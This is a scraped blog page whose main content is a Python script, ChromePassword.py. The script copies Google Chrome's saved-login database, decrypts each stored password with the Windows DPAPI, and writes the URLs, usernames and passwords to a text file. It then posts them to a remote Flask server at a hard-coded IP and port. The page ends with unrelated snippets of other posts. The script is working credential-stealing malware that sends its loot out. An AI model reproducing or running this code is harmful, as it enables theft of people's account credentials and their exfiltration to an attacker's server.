ChromePassword
# -*- coding: utf-8 -*-
2# @Author : pwf
3
4# @Date : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File : ChromePassword.py
8import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
18
19class ChromePassword:
21
22 def __init__(self):
23 self.passwordsList = []
24
25 def get_chrome_db(self):
26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28 if os.path.exists(_tmp_file):
29 os.remove(_tmp_file)
30 shutil.copyfile(_full_path, _tmp_file)
31 self.show_passwords(_tmp_file)
32
33 def show_passwords(self, db_file):
34 conn = sqlite3.connect(db_file)
35 _sql = '''select signon_realm,username_value,password_value from logins'''
36 for row in conn.execute(_sql):
37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38 # 密码解析后得到的是字节码,需要进行解码操作
39 _info = 'url: %-40s username: %-20s password: %s
' %
40 (row[0][:50], row[1], ret[1].decode())
41 self.passwordsList.append(_info)
42 conn.close()
43 os.remove(db_file)
44
45 def save_passwords(self):
46 with open('password.txt', 'w', encoding='utf-8') as f:
47 f.writelines(self.passwordsList)
48
49 def transfer_passwords(self):
50 try:
51 # 此处填写远端Flask对应的IP:PORT
52 requests.post('http://192.168.1.102:9999/index',
53 data=json.dumps(self.passwordsList))
54 except requests.exceptions.ConnectionError:
55 pass
56
57if __name__ == '__main__':
59 Main = ChromePassword()
60 Main.get_chrome_db()
61 Main.save_passwords()
62 Main.transfer_passwords()
ChromePassword的更多相关文章
随机推荐
- 解决使用wamp怎么使用php命令行
用了wamp,把php加到环境变量就报错啊! 那怎么用命令行啊! 可以找么着:(比如想执行 php think build --module demo) E:\php-project\tp5.> ...
- 【Python】【demo实验24】【练习实例】【打印图样】
原题: 打印出如下图案(菱形): * *** ***** ******* ***** *** * 我的源码: #!/usr/bin/python # encoding=utf-8 # -*- codi ...
- (5.14)mysql高可用系列——级联复制与多主一从
目录: [0]实验需求 级联复制,201为主库,202为从库/同时为203的主库,203为202的从库[1]实验环境 级联:A->B->C 实践思路: (1)直接拿A的xtrabackup ...
- Springboot Actuator之一:执行器Actuator入门介绍
介绍 Spring Boot有四大神器,分别是auto-configuration.starters.cli.actuator,本文主要讲actuator.actuator是spring boot提供 ...
- 小菜鸟之HTML常用
html的基本结构是什么? 表示段落标签是什么?<p> 表示标题标签的是什么?<title>Css标签样式</title> 表示区域标签的是什么?<div&g ...
- Vue--理解非prop特性
所谓非 prop 特性,就是指它可以直接传入组件,而不需要定义相应的 prop. 尽管为组件定义明确的 prop 是推荐的传参方式,组件的作者却并不总能预见到组件被使用的场景.所以,组件可以接收任意传 ...
- matplotlib库的基本使用与折线图
matplotlib:最流行的Python底层绘图库,主要做数据可视化图表,名字取材于MATLAB,模仿MATLAB构建 基本使用: x和y的长度必须一致 figure()方法用来设置图片大小 x,y ...
- WIN7(WINDOWS7)在添加网络打印机时提示这个,这里的密码是什么密码,能不能不用密码?
360急救箱应该提高计算机的网络访问安全性,加上与验证机制,所以当你要访问的网络资源,你需要输入用户名和密码进行认证. 1,点击“开始 - 运行”,输入gpedit.msc然后按Enter键. 2,计 ...
- c#调用带用户名密码验证的wsdl
之前记录过一篇添加带验证的webservice,但是公司的另一个项目是.net framework2.0的项目,没有服务引用,只能添加web引用. 现在记录和分享一下方法: 先添加web引用,选择ws ...
- 三主机配置 keepalived VIP高可用
三台主机: 192.168.33.134 192.168.33.136 192.168.33.137 实验前: 关闭selinux 和iptables 1). 192.168.33.134 ...